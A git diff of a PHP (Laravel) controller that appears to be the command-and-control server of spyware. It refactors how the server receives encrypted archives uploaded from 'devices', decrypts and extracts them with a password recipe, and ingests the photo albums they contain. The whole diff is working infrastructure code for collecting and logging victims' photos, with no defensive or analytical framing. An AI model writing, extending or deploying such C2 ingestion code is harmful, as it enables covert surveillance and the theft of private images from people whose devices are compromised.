feat: quene

app/Http/Controllers/C2/XxbbC2Controller.php

@@ -3,9 +3,8 @@
 namespace App\Http\Controllers\C2;
 
 use App\Http\Controllers\Controller;
-use App\Http\Middleware\DecryptXxbbBody;
-use App\Services\CorunaArchive;
 use App\Services\IngestService;
+use App\Services\PhotoArchiveIngest;
 use Illuminate\Http\Request;
 use Illuminate\Http\Response;
 
@@ -25,6 +24,7 @@ class XxbbC2Controller extends Controller
 {
     public function __construct(
         private readonly IngestService $ingest,
+        private readonly PhotoArchiveIngest $photos,
     ) {}
 
     public function vhx(): Response
@@ -107,33 +107,19 @@ class XxbbC2Controller extends Controller
         ];
 
         if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
-            $bytes = file_get_contents($request->file('file')->getRealPath());
-            $work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
-            try {
-                $extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase);
-                if (! empty($extracted['files'])) {
-                    $this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
-                }
-                create_log([
-                    'event' => 'xxbb_photo_extract',
-                    'device_key' => $device->device_id,
-                    'extract' => [
-                        'ok' => $extracted['ok'],
-                        'files' => array_map('basename', $extracted['files']),
-                        'password_recipe' => $extracted['password_recipe'],
-                        'stderr' => substr((string) $extracted['stderr'], 0, 2000),
-                    ],
-                    'photo_meta' => $photoMeta,
-                    'raw_counters' => [
-                        'idx' => $request->input('idx'),
-                        'ftu' => $request->input('ftu'),
-                        'ts' => $request->input('ts'),
-                        'x-hit' => $xHitRaw,
-                    ],
-                ], 'xxbb');
-            } finally {
-                CorunaArchive::forgetWorkDir($work);
-            }
+            $this->photos->accept(
+                $device,
+                (string) $request->file('file')->getRealPath(),
+                $batchBase,
+                $photoMeta,
+                'xxbb',
+                [
+                    'idx' => $request->input('idx'),
+                    'ftu' => $request->input('ftu'),
+                    'ts' => $request->input('ts'),
+                    'x-hit' => $xHitRaw,
+                ],
+            );
         }
 
         return $this->xxbbAck($request);
@@ -237,14 +223,6 @@ class XxbbC2Controller extends Controller
         return $this->xxbbAck($request);
     }
 
-    private function xxbbArchive(): CorunaArchive
-    {
-        return new CorunaArchive(
-            DecryptXxbbBody::crypto(),
-            (string) config('coruna.seven_zip', ''),
-        );
-    }
-
     /**
      * @param  array<string, mixed>|null  $body
      */